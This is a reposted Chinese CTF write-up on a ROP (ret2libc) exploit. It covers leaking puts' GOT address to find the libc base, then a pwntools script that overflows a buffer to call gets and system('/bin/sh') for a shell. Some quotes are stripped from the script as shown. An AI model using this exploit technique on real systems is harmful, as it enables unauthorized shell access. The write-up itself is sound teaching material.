码迷,mamicode.com
首页 > 其他好文 > 详细

pwn-ROP(2)

时间:2018-06-13 21:42:01      阅读:253      评论:0      收藏:0      [点我收藏+]

标签:ase   inter   输入   image   port   ima   静态   s函数   bubuko   

通过int80系统只对静态编译有效,动态编译需要用其他方法

技术分享图片

本题提供了一个地址输入端,输入函数地址会返回该函数的实际地址,我们用得到的实际地址-偏移地址=基地址,然后用基地址+任意函数的偏移地址就可以得到实际地址,就可以调用gets、system等函数,利用溢出点传入shell。

 

首先,用objdump看一下用到的puts函数的跳转地址

技术分享图片

exp中先传入0x804a01c,会得到一个实际地址,把这个地址先保存起来,再用命令找到puts的偏移地址

技术分享图片

 

得到偏移地址0x0064da0,用得到的实际地址-偏移地址,这样就得到了基地址。同样可以得到gets、system的偏移地址,加上基地址,得到实际地址,程序之后会有一个输入点,用溢出即可传入shell

exp:

 

 1 from pwn import *
 2 
 3 r = remote(127.0.0.1,4000)
 4 
 5 puts_got_plt = 0x804a01c
 6 puts_off = 0x0064da0
 7 
 8 r.recvuntil(:)
 9 r.sendline(str(puts_got_plt))
10 r.recvuntil(:)
11 libc_base = int(r.recvuntil(\n).strip(),16) - puts_off
12 print Libc base addr : + hex(libc_base)                 #得到基地址
13 
14 gets_off = 0x0064440
15 system_off = 0x003fe70 
16 
17 buf = 0x0804a048 - 50
18 
19 gets = libc_base +gets_off
20 system = libc_base +system_off
21 
22 rop=[
23     gets,
24     system,
25     buf,
26     buf
27 
28 ]
29 
30 r.recvuntil(:)
31 r.sendline(a*60+flat(rop))             #溢出点
32 sleep(2)
33 r.sendline(/bin/sh\x00)                 #传入shell
34 
35 
36 r.interactive()

 

 

 

技术分享图片

 

pwn-ROP(2)

标签:ase   inter   输入   image   port   ima   静态   s函数   bubuko   

原文地址:https://www.cnblogs.com/Aiden-/p/9180177.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!